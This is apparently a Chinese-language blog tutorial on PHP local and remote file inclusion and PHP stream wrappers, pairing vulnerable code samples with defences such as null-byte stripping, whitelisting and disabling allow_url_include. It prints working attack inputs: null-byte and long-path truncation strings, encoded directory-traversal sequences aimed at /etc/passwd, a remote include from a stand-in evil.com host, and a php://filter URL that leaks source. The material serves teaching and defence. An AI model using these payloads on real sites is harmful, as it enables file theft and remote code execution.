LFI、RFI、PHP封装协议安全问题总结

文件包含基本概念

文件包含是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。
文件包含可能会出现在JSP,PHP,ASP等语言中。

PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual

当PHP使用前4个函数包含新文件的时候,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。

文件包含利用条件
  • include()等函数通过动态变量的方式引入需要包含的文件
example:
<?php
$file = $_GET['file'];
@include_once("$file" . "/templete/tpl.html");
?>
黑客可以采取:
1) %00、/0截断的方式使程序包含攻击者想要的文件
2) 攻击者输入一个remote url: http://www.evil.com/index.php? ,如果目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
可以看到,根据HTTP参数的定义,"?"后面的内容被当作了传给这个脚本的参数,从而达到了00截断相同的效果
  • 用户能够控制该动态变量
<?php
$file = $_GET['file'];
@include_once("$file");
?>
LFI 本地文件包含
  • 文件包含的作用
1) 将网站页面通用的page_header.php(常常显示banner信息等)、页面尾部page_footer.php(常常显示版权信息等)独立出来,这样在任何页面需要的时候就可以直接通过include方式引入进来,提高了代码的重用性,加快了开发速度
2) 将通用配置文件,例如数据库连接文件database.php单独封装出来,方便需要进行数据库连接的时候就可以直接通过include方式引入进来
3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件,这样就可以在整个WEB系统中进行统一的安全过滤处理,防止因为各个业务场景的代码逻辑不一致导致的漏洞
4) WEB系统中广泛采用的文件缓存、数据缓存都是通过include方式完成的
  • 一个例子
<?php
// "../../etc/passwd\0"
$file = $_GET['file']; 
if(file_exists('/home/wwwrun/' . $file . '.php'))
{
inlcude '/home/wwwrun/' . $file . '.php';
}
?>

上图代码把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在一些问题:

  1. 00字符截断
    PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。

    ../etc/passwd\0
    ../etc/passwd%00 通过web输入,需要UrlEncode
    

    防御方法:
    在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

    <?php
    function getVar($name)
    {
        $value = isset($_GET[$name]) ? $_GET[$name] : null;
      if(is_string($value))
      {
          $value = str_replace("\0", '', $value);
      } 
    
  2. 超长字符截断
    采用00字符过滤并没有完全解决问题,
    利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
    利用"./"的方式即可构造出超长目录字符串:

    ././././././././././././././././abc
    abc
    ..1/abc/../1/abc/../1/abc
    
  3. 任意目录遍历
    使用 …/…/…/ 等来返回上级目录
    还有编码的表示方式来绕过WAF

    %2e%2e%2f    ->    ../
    %2e%2e/     ->    ../
    ..%2f     ->    ../
    %2e%2e%5c    ->    ..\
    %2e%2e%\    ->    ..\
    ..%5c     ->    ..\
    %252e%252e%255c    ->    ..\
    ..%255c     ->    ..\
    
总结

防御LFI的漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。
可以使用白名单的方法

<?php
    $file = $_GET['file'];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>
RFI 远程文件包含

远程文件包含本质上和LFI(本地文件包含)是同一个概念,只是被包含的"文件源"不是从本次磁盘上获得,而是从外部输入流得到。
如果PHP的配置选项 [allow_url_include = on] 的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/action/m_share.php";  
?>

payload URL:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

最终执行:
require_once "http://localhost/test/solution.php?/action/m_share.php";

这种情况我们设置 allow_url_include = off 就可以了

PHP中的封装协议(伪协议)、PHP的流式文件操作模式
利用前述文件包含漏洞的目的:
1) 越权访问文件(/etc/passwd)
   1.1) 00截断
   1.2) 超长截断
   1.3) 目录遍历的攻击方式
2) 任意代码执行
   2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式,将代码藏在图片中),然后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马)
   2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
   2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源,从而利用HTTP通信将任意代码注入原始的脚本执行空间中
PHP中的封装协议:

0x1: 越权访问本地文件:

  1. file://
    file://这个伪协议可以展示"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去试图获取本地磁盘文件

  2. php://filter
    php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器

<?php 
 @include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+   (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)

0x2: 代码任意执行:

  1. php://input
    php://input 是个可以访问请求的原始数据的只读流(这个原始数据指的是POST数据)

  2. data://伪协议
    这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
    利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

0x3: 目录遍历:

  1. glob://伪协议
    glob:// 查找匹配的文件路径模式
   	<?php
    // 循环 ext/spl/examples/ 目录里所有 *.php 文件
    // 并打印文件名和文件尺寸
    $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
    foreach($it as $f) 
    {
      printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
    }
   ?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值